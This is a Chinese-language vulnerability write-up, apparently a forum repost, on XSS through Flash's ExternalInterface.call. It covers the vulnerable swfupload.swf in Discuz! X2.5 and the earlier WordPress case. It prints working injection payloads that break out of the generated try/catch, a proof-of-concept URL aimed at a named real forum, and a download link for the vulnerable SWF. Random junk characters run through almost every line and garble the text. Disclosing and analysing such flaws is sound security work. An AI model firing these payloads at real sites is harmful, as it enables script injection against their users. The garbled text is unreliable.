上回我们说0 V- v1 d7 G/ F: v
) `; w2 C# v( C* A$ f. {7 @) A' k+ ]
flash.external.ExternalInterface.call($methodName, $parameter)
. c' ^$ L: b5 C. g9 C' W: [在浏览器中执行的是9 ]( V% A6 T9 k" I1 `; a
' i$ r/ A% X3 [2 Y7 ?
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}( j& j/ P2 e/ [( D+ V; r# D" g
对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
: h% g8 A- s1 n, r, s# @1 R. E! S" N. G t, q
flash.external.ExternalInterface.call("object."+$methodName, $parameter), m- @! |( Q) s& P4 l; C, A9 t9 ~- C
$methodName = a())}catch(e){alert(/xss/)}//
' S- Z$ G: V8 q& P1 ?$ \& o" u9 S! c结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。. ^ L+ ^' H2 Z/ y g0 M
4 {) h# F9 o2 u0 ]( xtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }* P# y2 E% m0 e) G
* ~( ]- K% p# c! s7 {4 `这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
G, f8 o) P" X. X杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。
3 }/ o9 T3 m; m6 ], H
; ~1 L* f9 y4 a# [
9 |8 x3 Q, J6 v% v- D( U# C, m6 v
4 r c9 T1 |+ P5 y4 b+ S# r: z漏洞文件:upload\static\image\common\swfupload.swf9 ]/ F7 r0 g2 r7 r/ i" F
u& s+ g3 }) ? _$ G
原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf
. l( I, \" B, C1 t7 n# {
& ^2 O1 F% N3 I1 s
* ^3 D2 J' l( }( u& n& S漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//5 g+ h5 }) G n( l, l% L6 M
! G: C0 H8 _, O5 I
3 f4 T+ a3 x4 h5 _6 F1 w' X1 A0 ] |